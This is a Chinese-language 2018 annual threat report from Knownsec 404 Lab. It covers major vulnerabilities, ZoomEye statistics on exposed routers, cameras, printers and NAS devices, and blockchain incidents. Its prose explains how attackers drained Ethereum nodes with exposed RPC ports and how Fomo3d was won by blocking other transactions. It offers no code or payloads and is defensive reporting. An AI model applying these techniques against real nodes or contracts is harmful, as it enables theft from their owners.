知道创宇404实验室2018年网络空间安全报告

一.2018年网络空间安全总体形势

网络安全的发展,离不开攻防之间的对抗。如果说大型漏洞爆发后的安全应急是和时间赛跑,那么2018年这种赛跑已经进入了白热化的阶段。

在过去的一年内,《推进互联网协议第六版(IPV6)规模部署行动计划》有力地推动了我国网络基础设施的发展、欧盟《一般数据保护条例》 GDPR 正式生效有效地保护了个人隐私、Chrome等主流浏览器开始将HTTP页面标记为不安全,企业也在网络安全建设方面履行着应尽的责任。2017年永恒之蓝借助勒索病毒/挖矿在内网传播、产业互联网的崛起和网络规模的增加,让2018年网络空间挑战与机遇并存。

知道创宇404实验室(以下简称404实验室)在2018年一共应急了135次,Seebug漏洞平台收录了664个漏洞,相比于2017年,应急的漏洞数量更多、涉及的设备范围更广。

值得一提的是,2018年出现了众多区块链相关的漏洞,从智能合约的安全到大型区块链的安全均有涉及。这是安全厂商的机遇,也是一场全新的挑战。由于区块链相关的攻击隐蔽而致命,攻击者可以在获取巨额利益之后消失匿迹,如何及时监测、防御、止损,安全厂商道阻且艰。

由虚拟货币高涨带来的是攻击目标的转变,2018年发生的攻击更多地针对了高性能的服务器主机。部分Web漏洞,例如ThinkPHP5的远程命令执行漏洞、Struts2系列漏洞等,从漏洞公开到被广泛利用、甚至被作为僵尸网络蠕虫感染的exp,间隔不超过一个星期。利益直接驱动攻击升级,同时也给防御带来了更大的压力。

从2016年 Mirai僵尸网络源码公开至今已有两年,IOT僵尸网络也在不断进步。僵尸网络也因为不同需求而产生了一定的分化,感染手段不再是蠕虫,部分僵尸网络对ZoomEye、shodan之类搜索引擎的需求增加,部分僵尸网络可能会选择自行扫描。僵尸网络的目的也不再单纯的是为了感染更多的主机从而实现DDOS,还有挖矿和组建匿名代理网络等等,甚至出现了利用区块链DNS的僵尸网络。如何从僵尸网络的目的入手去了解、分析甚至抑制其传播,可能会是未来所面临的困难之一。

2018年08月25日,404实验室发布《2018上半年暗网研究报告 》,同时推出针对暗网空间进行全方位监测的应用系统:暗网雷达。随着暗网用户的增多,黑市及加密数字货币的发展,暗网威胁必定会持续增长,知道创宇404安全研究团队会持续通过技术手段来测绘暗网,提供威胁情报,追踪和对抗来自暗网的威胁

网络空间攻击形态正随着国家诉求、经济发展和安全防御的升级而不断改变。可以预见的是,网络空间深层次的对抗将会增加,网络空间威胁依旧严峻,网络空间防御正在逐步完善。如何在多角度多层面与威胁有效的对抗,依旧是安全厂商甚至整个社会将持续面临的问题。

 

二.2018年安全漏洞/事件概述

404实验室汇总了2018年十大年度大型安全漏洞/事件(排名不分先后),部分漏洞/事件也将会在本报告的后续章节中详细说明。

2.1 2018年安全漏洞/事件汇总

2.1.1 Meltdown/Spectre CPU特性漏洞

2018年1月4月,Jann Horn等安全研究者披露了Meltdown (CVE-2017-5754) 和Spectre (CVE-2017-5753 & CVE-2017-5715) 两组CPU特性漏洞。这两组漏洞都利用了现代计算机CPU推测执行(1995年开始使用)和间接分支预测的特性来访问任意系统内存。近20年的intel,AMD,Qualcomm厂家和其他ARM的处理器几乎都受到影响。到目前为止,各大厂商都没有给出完美的修补方案,而Windows/Linux/MacOS等操作系统则通过牺牲部分CPU性能实现对该类漏洞进行了修补。

2.1.2 MikroTik RouterOS远程命令执行漏洞

今年1月份,MikroTik RouterOS远程命令执行漏洞(维基解密Vault7行动中爆料)相关的EXP被公布在Github上。MikroTik RouterOS是一套低成本,高性能的路由器系统,通过ZoomEye网络空间搜索引擎探测,233万运行着MikroTik RouterOS系统的设备暴露在公网上。由于该设备影响面广,EXP利用难度低,让公网上的MikroTik RouterOS成为了一个孕育僵尸网络的”温床”。

2.1.3 Cisco设备漏洞

今年Cisco被曝出了两个重大安全漏洞:

a. 1月28日,Cisco官方发布了一个有关Cisco ASA防火墙webvpn远程代码执行漏洞(CVE-2018-0101)的公告。

b. 03月28日,Cisco官方发布安全漏洞公告修复编号为CVE-2018-0171的Cisco Smart Install 远程命令执行漏洞 。

值得一提的是,这两个都是未授权的远程命令执行漏洞,攻击者无需登录凭证等信息即可成功实施攻击,通过ZoomEye网络空间搜索引擎探测,243,744台Cisco ASA设备,172,324台Cisco Smart Install设备可能会受到漏洞影响。2018年4月6日,一个名为”JHT”的黑客组织攻击了包括俄罗斯和伊朗在内的多个国家网络基础设施,遭受攻击的Cisco设备的配置文件会显示为美国国旗,所以该事件又被称为”美国国旗”事件。

2.1.4 Linux 提权漏洞

几乎每年都会有Linux的提权漏洞被公布出来,2018年也不例外,一个libc的提权漏洞(CVE-2018-1000001)和两个Ubuntu内核的提权漏洞(CVE-2017-16995、CVE-2018-17182)被公布出来。需要注意的是:提权漏洞的作用除了把普通用户权限提升到root权限以外,还有可能引起云平台的相关逃逸,安卓手机的提权,docker提权等。

2.1.5 GPON路由器远程命令执行漏洞

近年来,僵尸网络逐渐盯上了攻击简单但危害巨大的物联网设备,2018年4月30日,vpnMentor 公布了GPON路由器的两个高危漏洞:验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562)。只需要发送一个请求,就能在GPON路由器上执行任意命令,通过ZoomEye网络空间搜索引擎探测,公网上大约有214万设备可能受到影响。在该漏洞被公开的十天内,该漏洞就已经被多个僵尸网络家族整合/利用/在公网上传播,404实验室也给出相关预警。

2.1.6  Java反序列化漏洞

2018年的Java反序列化漏洞还在持续爆发,在404实验室2018年应急的漏洞中,受此影响最严重的是WebLogic,该软件是美国Oracle公司出品的一个Application Server。2018年知道创宇404实验室应急了5个WebLogic的反序列化漏洞。由于Java反序列化漏洞可以实现执行任意命令的攻击效果,是黑客用来传播病毒,挖矿程序等恶意软件的攻击方法之一。

2.1.7 区块链安全

2018年是区块链产业最活跃的一年,知道创宇404实验室也随之关注到了区块链安全上。从区块链到智能合约,再到以太坊JSON-RPC接口,都与安全息息相关,详情请参见:第四章 2018年区块链相关事件概述

2.1.8 Xiongmai IP摄像头漏洞

随着物联网的发展,摄像头等IoT设备已经成为了传播僵尸网络的主力军,2018年多个厂商/型号的摄像头被披露出多个漏洞。在404实验室应急的漏洞中,影响设备数量最多的要属Xiongmai IP摄像头。Xiongmai设备默认启用XMEYE P2P Cloud功能,每个设备会分配一个Cloud ID,通过该ID,就可以从外网访问只开在内网的Xiongmai设备。通过ZoomEye搜索引擎能得到200万的Xiongmai设备暴露在公网上,但是通过枚举Cloud ID,能访问到约900万Xiongmai设备。并且该设备还存在着硬编码凭证和远程代码执行漏洞,如果这些设备被用来传播僵尸网络,将会给网络空间造成巨大的危害。

2.1.9 Drupal远程命令执行漏洞

PHP常被用来开发Web应用,是受WEB开发者喜欢的编程语言之一。当PHP框架出现漏洞,将会造成巨大的危害。Drupal是使用PHP编写的开源内容管理框架,Drupal社区是全球最大的开源社区之一,全球有100万个网站正在使用Drupal,今年3月份,Drupal安全团队披露了一个非常关键的(21/25 NIST等级)漏洞,被称为Drupalgeddon 2(CVE-2018-7600),此漏洞允许未经身份验证的攻击者进行远程命令执行操作。

2.1.10 勒索病毒

每年都会有非常多的勒索病毒在网络空间肆虐,但是在今年11月份,出现一种名为Lucky的勒索病毒,该病毒会将用户重要的文件进行加密并修改成后缀名为 .lucky 的文件。只要用户向指定的比特币账户汇款,才能获得解密的密钥。知道创宇404实验室的炼妖壶蜜罐系统捕获到该勒索病毒的样本之后,对该勒索病毒进行了分析,发现该病毒的加密模块存在安全漏洞,任何人能通过文件的加密时间还原出文件加密的密钥,从而还原出文件。随后,知道创宇404安全研究团队通过该漏洞编写出了勒索软件的解密工具。

2.2 2018年安全漏洞/事件总结

Web 类漏洞在2018年占据了404实验室应急漏洞数量的百分之56,相关漏洞和往年相比多且严重,涉及的类型有:前后台用户密码修改、需要认证/未认证的远程代码执行、任意文件读取删除或上传、路径穿越、文件包含、XXE 、SSRF 、DoS 攻击等。这些漏洞攻击途径也比较多样,例如通过富文本编辑器上传木马,通过后台数据库备份功能进行命令执行等,却可以造成:服务不可用、敏感信息泄露、服务器控制权被夺取、文件被篡改或删除等危害。404 实验室总结漏洞成因,包括但不限于以下几点:

a. 对参数检查过滤不严格,命令直接拼接执行。

b. 权限限制不足,使低权限或无权限用户获得高权限,或可以直接调用不该使用的API。

c. 为了贪图便利使用默认凭证、弱口令且肆无忌惮地暴露在外网的情况。

d. 开发人员对开发框架不够了解,导致后续开发中忽视必要的参数检查。

e. 不良的线上部署习惯,以及配置的失误。会导致比如路径穿越和任意文件读取。

f. 本该出现在内网的设备,或为了方便,或因配置是失误,暴露在公网中。

 

三.2018年网络空间情况概述

3.1 2018年 ZoomEye 网络空间搜索引擎收录概述

本章基于2018 年 ZoomEye 网络空间搜索引擎收录的数据进行分析,关注网络空间中设备分布及其安全问题。

3.1.1 网络空间设备分布情况

2018年ZoomEye网络空间搜索引擎一共收录了621127633台设备的banner信息。位于美国的设备占据收录数量的28.29%,中国、英国、德国等紧随其后。

美国2018年活跃设备的数量远大于其他国家,可能与互联网发展程度、巨大的IPV4地址分配范围等原因有密切的关系。

(注:由于ZoomEye网络空间搜索引擎的数据在实时更新,所以美国设备总数略多于上图)

众多国际互联网企业(例如:Google、Facebook、EBay、Twitter、Oracle、Mozilla 等等)集中在加利福尼亚州。这也造就了ZoomEye探测到的美国活跃设备 26.84% 都位于加尼福利亚州。

(注:由于ZoomEye网络空间搜索以前的数据在实时更新,所以中国设备总数略多于该小节第一张图的数量)

中国沿海地区仍然是互联网发达区域。

3.1.2 网络空间端口分布情况

2018年ZoomEye 网络空间搜索引擎探测到的开放端口分布情况和识别的服务类型如下图所示:

3.2常见设备公网暴露情况

随着物联网行业的蓬勃发展,物联网设备数量也在飞速增长。由于早年安全标准的相对滞后,导致部分设备存在较多的安全缺陷,如代码逻辑缺陷导致凭证泄漏、未正确处理用户输入导致远程命令执行等。

事实证明,软件安全漏洞是无法避免的,新的漏洞不断被披露。由于多数早期物联网设备存在使用周期较长、缺乏有效的升级机制的特点,一旦这些设备的漏洞被曝光,将无法得到有效的修复。这也导致当前网络空间存在大量存在漏洞的设备,特别是部分官方终止支持的设备,可谓是千疮百孔。

相比于现实世界,网络空间更容易隐匿信息。攻击者通过漏洞实现对设备的远程攻击、组建僵尸网络,便可以通过挖矿、DDoS 攻击、贩卖用户隐私等行为获取利益。这也导致网络空间中存在漏洞的设备,是部分攻击者的首要目标。

虽然无法预知漏洞的发生情况,但是了解互联网上各类型设备的分布可以让防御方有针对的进行防御。该小节将会详细说明2018年ZoomEye 网络空间搜索引擎收录的网关类设备,安防监控类设备、打印机、网络附加存储(NAS)等设备的信息。如智能穿戴类设备、智能音响、智能门锁等设备,多存在于内网中,故不归类至本次统计信息中。

3.2.1 网关类设备

ZoomEye dork: device:”router”

网关设备作为网络连接枢纽,是网络空间上数量最多的第一大设备,直接暴露的数量为 24516049 台。

主要分布在美国、墨西哥、中国、澳大利亚、俄罗斯等国家。

开放最多的服务依然为 http 服务,主要分布在 80、443、8081、8080 等端口,443 为 https 的默认端口,所有开放了 http 服务的设备中约有 13% 启用了 https,这意味着其他约 87 % 的设备存在 http 传输信息泄漏风险。其次,很多品牌路由器的 http 服务都或多或少的存在默认凭证、硬编码凭证、凭证泄漏、登录绕过等问题,利用这些漏洞可以成功登陆 Web 管理系统,登陆后利用命令注入、缓冲区溢出、上传自定义固件等漏洞可获取设备的最高权限,甚至监控网络流量窃取网络账号、信用卡等私密信息。

运行TR-064 和 TR-069 服务的网关设备也不在少数。TR-064 全称 LAN 侧 DSL 被管理设备设置协议,是 LAN 端基于 XML 的 CPE 管理协议,默认端口为 7547。TR-069 全称为 “CPE 广域网管理协议”,它提供了对下一代网络中家庭网络设备进行管理配置的通用框架和协议,用于从网络侧对家庭网络中的网关、路由器、机顶盒等设备进行远程集中管理,默认使用 4567 端口。2016 年攻击者通过攻击 7547 端口的  TR-064 服务,致使德国大量路由器下线,约 90 万用户无法访问互联网。

1900 端口是 SSDP 服务(简单服务发现协议)的指定端口,用以发现局域网的 UPnP 设备,如路由器。将该端口直接开放在公网上会泄漏 UPnP 服务的描述信息,进一步可发送 SOAP /XML 控制消息进行 NAT 注入暴露内网脆弱服务。Akimai 白皮书 :UPnProxy: Blackhat Proxies via NAT Injections  对该漏洞进行了详细阐述。

21 端口(FTP 服务)、22端口(SSH 服务)、23 端口(Telnet 服务),因为默认凭证、弱密码可被爆破等问题,让无数攻击者趋之若鹜。

3.2.2 安防监控类设备

ZoomEye dork:device:”webcam”

近年来,企业及个人对资产的保护越来越重视。智能网络监控摄像头可以 7×24 小时持续监控,方便安装,无论身处何地都可随时通过网络查看视频流,一些高级摄像头还结合其他技术赋予了摄像头更多的功能,如移动轨迹检测、人脸识别、红外夜视、温湿度感应等。网络摄像头的等种种优点,使其逐渐取代了传统摄像头,走进了千家万户。

目前市面上的摄像头主要通过以下三种方式提供视频服务:

  1. 直接开放端口及服务,如 http、rtsp 等,用户通过浏览器登陆查看视频流;
  2. 设备不开放任何端口及服务,直接和厂商的云服务器通信,用户注册登陆厂商提供的 app 并绑定摄像头,之后通过 app 查看视频流。
  3. 以上两种方式的混合。

相比于方法2,方法1、3更加容易出现安全问题。默认凭证登录、凭证泄漏、登录绕过等问题都将直接影响到方法1、3的摄像头。如果将设备直接开放到公网上,攻击者可以很容易的的登录设备,导致隐私泄漏。方法2也不是绝对安全,在下一章中会说到。

通过 ZoomEye 网络空间搜索引擎统计,2018年网络空间暴露的摄像头类设备数量为 1252 5943台。

主要分布在中国、美国等国家。

开放最多的依然是 http 服务,约有 1237 万台设备,主要分布在 80、81、8080、443、82、85、88、8081、83 等端口、约 71 万的设备在 554/8554 端口开放了 rtsp 服务,通过 VLC 可直接查看视频流(需要认证)、有约 3 万台设备的  ftp 服务(21 端口)及  2 万台设备的 telnet 服务(23 端口)直接暴露在公网上。这些都可能会使摄像头捕捉到的画面被他人窃取。

3.2.3 打印机

ZoomEye dork:device:”printer”

680704台打印机设备暴露在网络空间上,主要厂商有 Brother、HP、Epson、Samsung 等。

该类设备主要分布在美国、韩国。

开放最多的依然是 http 服务,主要分布在 80、8080、443 等端口。631 是 IPP(互联网打印协议)的服务端口,它容许用户可以透过互联网作遥距打印及管理打印工作等工作。9100 端口也被称为“原始(RAW)打印”。客户通过 9100/TCP 端口连接到网络打印机,所有发送的数据都由打印设备直接处理。此外还有部分设备开放了 21 端口(FTP 服务)、23端口(telnet 服务)。

还有一个比较重要的是 161/UDP 端口,是 SNMP(是简单网络管理协议)的服务端口,旨在管理网络组建。今年 Samsung 打印机被曝光出一个敏感信息泄露漏洞(CVE-2018-17969 )就和该端口有关。

3.2.4 网络存储设备(NAS)

ZoomEye dork: app:”nas”

3192751台 NAS 设备直接暴露在网络空间上。数量最多的品牌为威联通(QNAP),约为 170 万,其次为群晖 NAS,约为 120 万。其他品牌还有希捷(Seagate)及西部数据(WD)、ASUSTOR 等。

主要分布在德国、中国、美国等国家。

基本上都只开放了 http 服务,主要分布在 5000,8080,443,80,8082,7000,8000,8083 等端口。5000 是 Synology NAS 的默认 http 端口,8080 是 QNAP NAS 的默认 http 端口,443 是 QNAP NAS 的默认 https 端口。由此可见 NAS 的大部分市场份额基本由 QNAP 和 Synology 占领。

相比于路由器和摄像头,NAS 的安全性要高很多,且通常能自动升级系统,但也不可避免的会存在漏洞。今年 ASUSTOR 的 NAS 操作系统 ADM 被多次曝出漏洞;还有西部数据的 NAS 被曝出登录绕过 0day,结合历史命令注入漏洞可无限制 RCE;Axentra Hipserv NAS 操作系统被曝出存在 XXE 和无需认证的本地服务远程命令执行漏洞,利用 XXE 可实现 SSRF,最终无限制远程命令执行,该漏洞影响 Netgear Stora,Seagate GoFlex Home,Medion LifeCloud 等三款 NAS 产品。

3.3 思考与展望

3.3.1 漏洞频发来自于数年前的伏笔

2018年物联网设备频繁被曝出漏洞,动辄影响几十万几百万的设备。

例如,2018 月 04 月30 日 vpnMentor 公布了 GPON 路由器的高危漏洞:验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562)。将这两个漏洞结合,只需要发送一个请求,就可以在 GPON 路由器 上执行任意命令。根据 ZoomEye 网络空间搜索引擎的结果,2141183台路由器可能受该漏洞影响(2018年05月04日数据)。

2018 年 09 月 18 日,Securify 披露了一个WD My Cloud 的登录绕过 0day 漏洞,由于 WDMyCloud 存在几十个历史漏洞,登陆后,也存在 30 余个命令注入点,这意味着攻击者通过这个漏洞,可以无限制远程命令执行。

纵观 2018 年404实验室应急的 IoT相关漏洞,大多数 IoT 漏洞都有以下共性:

– 漏洞原理简单,利用难度普遍较低。如逻辑错误,鉴权不当导致各种形式的登陆绕过,过滤不足导致命令注入或者溢出,结合这些漏洞可获取设备最高权限。值得一提的是默认密码问题,这个严格来说不算“漏洞”的问题如今也是 IoT 重灾区。

– 代码、组件复用,导致一个三方组件曝洞会影响所有使用了该组件的设备。

– “好用的洞” 被曝出后,会迅速被各大僵尸网络争夺并利用。凭证泄露等漏洞一直遗留,后续又为其他 RCE 漏洞铺平道路。

整体来说,是过去安全的投入大幅落后于开发的速度,导致设备存在一堆 “低级” 漏洞。可喜的是,近几年来,安全逐渐受到人们的重视,各 IoT 厂商的安全标准也在不断完善。

由于很多 IoT 设备缺少自动升级机制,甚至有的已经超出了官方的支持周期而得不到更新补丁,也只能等待设备升级换代被淘汰。

3.3.2 开放端口很不安全,不开放端口也不一定安全

不开放端口可以抵御大多数的 IoT 安全问题,因为攻击者无法直接通过网络访问设备。即使设备存在漏洞,也不会遭到恶意利用。但是不开放端口是不是意味着就一定安全呢?

2018 年 10 月 09 日,Xiongmai  IPCamera、NVR、DVR  等设备被曝出存在默认凭证、硬编码凭证、远程代码执行等多个严重漏洞。XM 设备默认启用了 XMEYE P2P Cloud功能,每个设备会分配一个 Cloud ID,用户可根据这个 Cloud ID 代替 IP 地址访问设备,这样就可以从外网访问只开放在内网的 XM 设备。问题是,这个 Cloud ID 是从设备的 Mac 地址通过一些简单计算得到的,由于 Mac 地址可枚举,配合上面的两个默认凭证漏洞,可通过 XMEye Cloud 无限制访问所有在线的 XM 设备。原漏洞作者进行了一次大致探测,得出大约有 900 万可访问的设备。

由此可见,在新的技术实现上也会面临新的挑战,但是不直接开放端口是一个极大的进步。

 

四.2018年区块链相关事件概述

2018年是区块链大热的一年,同样也是区块链安全最经受挑战的一年,虚拟货币飞涨的价值引来了狼群的觊觎,而交易所薄弱的安全建设、部分区块链存在的安全问题等都是急需解决的问题。以时间为轴,就不难理解为何区块链安全会受到如此多的关注、2018年安全事件多爆发在何处。

4.1 一切的伊始

2016年经常被人们称作区块链元年,因为在这一年区块链技术的价值真正被世界所认可。多国政府开始研究发行自己的数字货币,超过 50家世界级银行组成联盟研发区块链银行间服务,上千家区块链行业的创业公司如雨后春笋般兴起。

2016年比特币的成功,让区块链的成为了当前这个时代最受期待的新兴产业之一,而以太坊以其特有的智能合约功能,很大程度上解决了区块链快速发展和比特币出块速度受到极大限制的矛盾。智能合约开发者通过编写代码、编译部署到区块链上的方式,实现了交易的高速化、自动化和规则化,可以说智能合约是区块链不可篡改特性的一次最佳实践。

区块链行业发展与比特币等币价的变化有强关联,从一开始货币属性就是区块链产业抹不去的特性。2016年1月以太坊这个名不见经传的区块链品种总市值只有7000万美元,短短2个月以太坊的市值最高就上涨到了11.5亿美元。随着区块链市场价值的飞速提升,而区块链市场的安全性却没能跟上区块链的发展。产业价值远远大于安全代价,安全事件的发生也就成了必然。

(2016年区块链相关安全事件)

2017年以来,比特币较慢的出块速度和持续走高的价格,使比特币的意义更多转变为货币标准。随着以太坊的不断成熟,区块链2.0-智能合约的时代也正式拉开了序幕。作为区块链一部分的区块链安全问题也如雨后春笋一般纷纷诞生了。

4.2 2018年区块链相关安全事件

2017年11月,一款名为CryptoKitties(以太猫)的区块链游戏突然爆火,这是一款基于以太坊智能合约的养猫游戏,从此开始,智能合约的两种主要表现形式区块链游戏以及合约代币正式出现在人们的眼帘中受到了大家的关注,随着智能合约火爆发展的同时,也成为了攻击者们的目标之一。

4.2.1 BEC/SMT溢出事件

BEC(美币)是Beauty Chain发行的一种合约代币,2018年2月正式提交到交易所公开售卖,募集超过60亿人民币。

SMT全称为SmartMesh,也同样是一款基于以太坊智能合约代币。

2018年4月22日,攻击者利用BEC智能合约代码中转账函数中的一处乘法溢出漏洞,通过乘法溢出导致了,转出了57,896,044,618,658,100,000,000,000,000,000,000,000,000,000,000,000,000,000,000.792003956564819968个BEC,清空了BEC的合约代币,其交易地址为0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f。最终BEC被迫软分叉收回了这部分损失。

2018年4月24日,攻击者利用transferProxy函数加法溢出漏洞转出了超大额的SMT币。transferProxy是一个用于交易代理的函数,当交易者没有足够的以太币支付gas时,通过代理函数让第三方节点代为支付gas,并向其支付相应的SMT币作为酬劳。但函数中在校验SMT余额是发生加法溢出,导致可以任意转出超大额的SMT币。

这两个事件几乎直接摧毁了BEC/SMT两个合约代币,也直接影响了智能合约的市场,智能合约的安全问题迫在眉睫。

4.2.2 以太坊智能合约蜜罐

随着以太坊智能合约的安全问题越来越受到关注,一种针对有一定智能合约基础的从业者的攻击手段也逐渐被曝光。

2018年3月20日外国的安全研究员Gerhard Wagner详细分析了几种智能合约蜜罐。2018年6月404实验室跟进研究,将已知的蜜罐智能合约欺骗手段分为四个方面:

– 古老的欺骗手段

– 神奇的逻辑漏洞

– 新颖的赌博游戏

– 黑客的漏洞利用

从简单的视觉欺骗,到利用Solidity的feature来欺骗、从利用传统的赌博思维,到利用漏洞来欺骗,智能合约蜜罐的欺骗方式千奇百怪,但却离不开最本质的目的:利用相关从业者自以为了解智能合约的投机心理,来赚取相应的“智商税”。

截至2018年6月,我们发现的118个蜜罐智能合约地址就骗取了超过34个以太币,而这种行为仍然继续。

4.2.3 以太坊偷渡漏洞

2018年3月20日,慢雾社区揭露了一起严重的自动化盗币事件,外界称之为以太坊偷渡漏洞(又称为以太坊黑色情人节事件),攻击者利用以太坊节点Geth/Parity RPC API鉴权缺陷,恶意调用eth_sendTransaction盗取代币,持续时间长达两年,单被盗的且还未转出的以太币价值就高达现价 2 千万美金,还有代币种类 164 种,总价值难以估计(很多代币还未上交易所正式发行)。

通过网络和区块链进行交互,远程RPC接口通信是通用的解决方案之一。但当以太坊的RPC接口对外开放(HTTP JSON RPC端口8545,WebSocket JSON RPC端口8546)并且节点用户对自己的账户执行unlockAccount时,默认会有300s(5分钟)时间用于签名、转账等操作,由于缺乏相应的鉴权逻辑,攻击者在这300s(5分钟)期间也可以通过执行eth_sendTransaction对受害者账户进行转账,从而实现盗币。

2018年5月16日,知道创宇404区块链安全研究团队对以太坊偷渡漏洞事件进行预警并指出该端口已存在密集的扫描行为。

2018年6月29日, 慢雾社区预警了以太坊黑色情人节事件(即偷渡漏洞)新型攻击手法,该攻击手法在本文中亦称之为:离线攻击。在结合蜜罐数据复现该攻击手法的过程中,知道创宇404区块链安全研究团队发现:在真实场景中,还存在另外两种新型的攻击方式:重放攻击和爆破攻击,由于此类攻击方式出现在偷渡漏洞曝光后,我们将这些攻击手法统一称为后偷渡时代的盗币方式。

在偷渡漏洞被曝光出之后,主要的防范、修复方式有几种,关闭对公网暴露的 RPC 接口 、使用 personal.sendTransaction()进行转账 或节点上不存放账户信息(keystore),但问题在于,即便上述方式你都做了,依然有可能会被盗币。

Geth 交易缓存池的重放攻击成立的条件建立在该RPC曾存在过偷渡漏洞的前提下,通过关闭对公网暴露的RPC接口来修复该问题,就可能被交易缓存池重放攻击再次攻击。

以太坊在同步交易缓存池的过程中可能因为网络波动、分布式的特点等原因,导致部分交易多次进入交易缓存池。这也导致 部分应该被移出交易缓存池的交易 多次重复进入交易缓存池。在这种情况下,转账交易可以因为账户余额不足等原因停留在交易缓存池中,一旦账户余额充足时,交易就将继续进行。

unlockAccount接口的爆破攻击是偷渡漏洞的拓展,假设RPC接口节点直接暴露在公网下,但没有遇到账号解锁时,就可能受到unlockAccount接口的爆破攻击

攻击者探测到对外开放的RPC之后,可以通过personal_listWallets查询已经unlocked的账户。然后直接爆破用户账户的密码,如果用户使用了弱口令,攻击者就能解锁相应的账户。

为了修复偷渡漏洞,Geth官方在2018年1月新增了一个RPC接口personal_sendTransaction,使用这个接口发起交易,解密的私钥会存放在内存中,所以不会引起偷渡漏洞等相关问题。而personal_sendTransaction的原理就是使用解密的私钥对交易进行签名。在这种基础上,如果曾经被盗币,就有可能被自动签名交易的离线攻击

当攻击者使用某种方式偷渡盗币成功,它不但可以直接转账余额,还可以通过eth_getTransactionCount获取交易次数,计算nonce,之后直接将多笔转账交易签名。之后只要监控用户账户的余额,一旦余额够就可以通过广播已经签名的交易来发起交易。我们把这种攻击方式称之为离线攻击。

在后偷渡时代之后,种种攻击方式层出不穷,除了攻击节点的攻击方式以外,攻击者或求助于矿工,或本身拥有一定的算力,发起了新的攻击方式,我们称之为拾荒攻击。

在偷渡漏洞中,攻击者可以通过在被攻击节点构造gasprice为0的交易,然后同时设置一个恶意的节点,将相应的交易打包,就可以通过牺牲一定的矿工利益来换取0手续费的转账,通过这种方式,攻击者可以获取到包括余额不足以支付转账手续费的部分在内的所有以太币。我们称这种攻击方式为拾荒攻击。

对RPC的攻击模式从一开始的暴力竞争抢占到后期的离线攻击、重放攻击,再到对账号弱口令的暴力破解,再到精细到细枝末节的拾荒攻击,攻击者展现了惊人的攻击思维,最开始的偷渡漏洞被曝光时涉及的以太币就已经价值超过几千万美金,最终用于捡漏的拾荒攻击涉及到的以太币都超过几十。这件事件的发生直接推动了RPC安全的快速进步,也让我们不禁思考,当货币拥有巨大的经济价值时,攻击者到底愿意付出多大的攻击代价,而我们又需要付出多么大的安全代价才能换来安全呢?

4.2.4 区块链代币薅羊毛

2018年7月23日,启明星辰ADLab发现了一起针对SIM(全称Simoleon)合约代币的自动化薅羊毛事件。攻击者使用了巧妙地攻击思路在短时间内获得了超过700万的token。

Airdrop (空投)是合约代币中一种用于增加人气的宣传手段,任何没有接受过空投的账户在第一次交易时,都可以获取免费的一小部分空投代币。而在以太坊中,每次交易都必须支付相应的手续费,而新建的账户是没有余额存在的,这也就导致如果想通过不断新建账号的方式来获取大量代币的方式不太现实。

然而在这起攻击案例中,攻击者以其对以太坊深刻的理解,采用合约创建合约的方式,在合约间实现了以太币和代币转账,减少了人力的投入、以太币的损耗,用更小的攻击代价换来了更高的收益。

2018年7月24日,外国的一位安全研究者Péter Szilágyi在博客公开的Fomo3d两个潜在问题导致Fomo3d的空投机制存在问题可以被薅羊毛。Fomo3d是一款基于智能合约的以太坊游戏,也存在一定的空投机制:付出0.1~1ETH的同时,将有25%的几率赢得一定的空投奖励。Fomo3d通过校验excodesize的方式来禁止合约发起的交易,但一个新的合约在初始化的过程中,会执行构造函数的代码,而未初始化完成的合约的excodesize变量依旧为0,攻击者通过在构造函数中完成计算随机数+转账的代码,巧妙地绕过了原本的限制,成功的薅了羊毛。

这个事件在当时引发了大家对空投机制安全性的全新认知,攻击者在Fomo3d虽然只影响到了空投池中的代币,但Fomo3d本身体量巨大,其空投池即便只占百分之一也影响了价值百万的以太坊,且当时类Fomo3d的合约游戏是区块链游戏的一种主流,一时间市面上多种类似游戏都受到了不同程度的影响。这种一般只有在业务安全中会出现的攻击思路第一次被人们认知到,在区块链安全程度不断提升的同时,新的攻击维度也在不断出现。

4.2.5 智能合约游戏之殇-Fomo3d之死

如果说以太坊开启区块链2.0时代,是天时地利人和的结果,那么智能合约的火爆,就永远离不开Dapp。如果说比特币证明了区块链作为货币的潜力,那么智能合约游戏就证明了智能合约改变时代的潜力。智能合约游戏和货币合约成为了现在这个时代智能合约的最主要两种表现形式。

2017年11月,一款叫做CryptoKitties(以太猫)忽然爆火,也标志着Dapp的正式兴起。2018年7月20日,一款名为Fomo3d的区块链游戏悄然诞生。

其中主要规则有这么几条:

1、 游戏开始有24小时倒计时

2、每位玩家购买,时间就会延长30s

3、越早购买的玩家,能获得更多的分红

4、最后一个购买的玩家获得奖池中48%的eth

可以说,这是一个给予区块链可信原则的赌博游戏,也是一场巨大的社会实验,如果有人任何一个人贪婪的想要得到剩下的所有eth,那么这个游戏就永远不会结束。

2018年8月22日,Fomo3d第一轮比赛结束,入场的资金超过40000以太币,最终大奖高达价值超过2200万的10469以太币。如果事情就这么简单的结束,那么也不会受到广泛的关注了。在第一轮游戏又一次面临即将结束的时候,所有人都摩拳擦掌打算成为最后一个大赢家,却发现在用户a169买下最后一次key之后,整整3分钟都没有任何一次交易诞生,整个3分钟内,总共有12个区块被打包,但却没有任何一个Fomo3d的交易被打包,用户a169在没有任何干扰的情况下顺利的拿到了10469个以太币。

用户a169仅仅靠好运就拿到了最终大奖吗?在a169的交易被打包到游戏结束的这段时间内,正常诞生的12个区块中,交易数大量的异常,且大多数交易都发生了交易错误。

而且我们可以发现这些交易错误,是由用户a169发起的。攻击者a169使用了巧妙地攻击手法,阻塞了其他用户的购买请求,拿到了10469的大奖。

那么这是为什么呢?

在以太坊上,无论任何交易,都建立在挖矿上,只有挖到区块才能打包交易,只有打包成功的交易才有效。所以保证足够的出块速度对以太坊很重要。所以就有了矿工利益最大化原则,矿工可以自己选择打包的交易,而矿工为了自己利益的最大化,当然会选择手续费高的交易先打包。反过来,如果一个交易的手续费更高,那么他就可能后发先制,先被打包成功。但如果交易失败,一般来说,智能合约如果遇到执行失败那么交易就会回滚,这里就需要一个函数assert,assert在EVM底层对应的是未知的opcode操作指令,一旦执行失败,那么assert就会耗光所有的gas然后返回失败。

也就是说,如果有一个人通过新建合约并支付高额的手续费,那么他就可以阻塞链上所有的交易,在这次攻击中,攻击者用了大概40以太币阻塞以太坊链上所有的交易整整3分钟,并控制自己成为链上最后的胜利者,获得10469个以太币。

